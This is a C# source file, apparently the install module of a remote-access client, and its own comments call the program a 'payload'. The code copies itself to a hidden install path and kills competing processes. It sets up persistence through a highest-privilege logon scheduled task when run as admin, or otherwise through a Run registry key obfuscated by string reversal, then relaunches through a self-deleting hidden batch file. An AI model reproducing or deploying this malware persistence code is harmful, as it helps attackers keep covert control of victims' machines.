2020-05-02 16:13:07 +03:00

92 lines
3.7 KiB
C#

using Client.Helper;
using Microsoft.VisualBasic;
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
namespace Client.Install
{
class NormalStartup
{
public static void Install()
{
try
{
FileInfo installPath = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile));
string currentProcess = Process.GetCurrentProcess().MainModule.FileName;
if (currentProcess != installPath.FullName) //check if payload is running from installation path
{
foreach (Process P in Process.GetProcesses()) //kill any process which shares same path
{
try
{
if (P.MainModule.FileName == installPath.FullName)
P.Kill();
}
catch { }
}
if (Methods.IsAdmin()) //if payload is runnign as administrator install schtasks
{
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn " + Path.GetFileNameWithoutExtension(currentProcess) + " /tr " + "'" + "\"" + installPath.FullName + "\"" + "' & exit",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
});
}
else
{
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
{
key.SetValue(Path.GetFileNameWithoutExtension(installPath.FullName), "\"" + installPath.FullName + "\"");
}
}
FileStream fs;
if (File.Exists(installPath.FullName))
{
File.Delete(installPath.FullName);
Thread.Sleep(1000);
}
fs = new FileStream(installPath.FullName, FileMode.CreateNew);
byte[] clientExe = File.ReadAllBytes(currentProcess);
fs.Write(clientExe, 0, clientExe.Length);
Methods.ClientOnExit();
string batch = Path.GetTempFileName() + ".bat";
using (StreamWriter sw = new StreamWriter(batch))
{
sw.WriteLine("@echo off");
sw.WriteLine("timeout 3 > NUL");
sw.WriteLine("START " + "\"" + "\" " + "\"" + installPath.FullName + "\"");
sw.WriteLine("CD " + Path.GetTempPath());
sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q");
}
Process.Start(new ProcessStartInfo()
{
FileName = batch,
CreateNoWindow = true,
ErrorDialog = false,
UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Hidden
});
Environment.Exit(0);
}
}
catch (Exception ex)
{
Debug.WriteLine("Install Failed : " + ex.Message);
}
}
}
}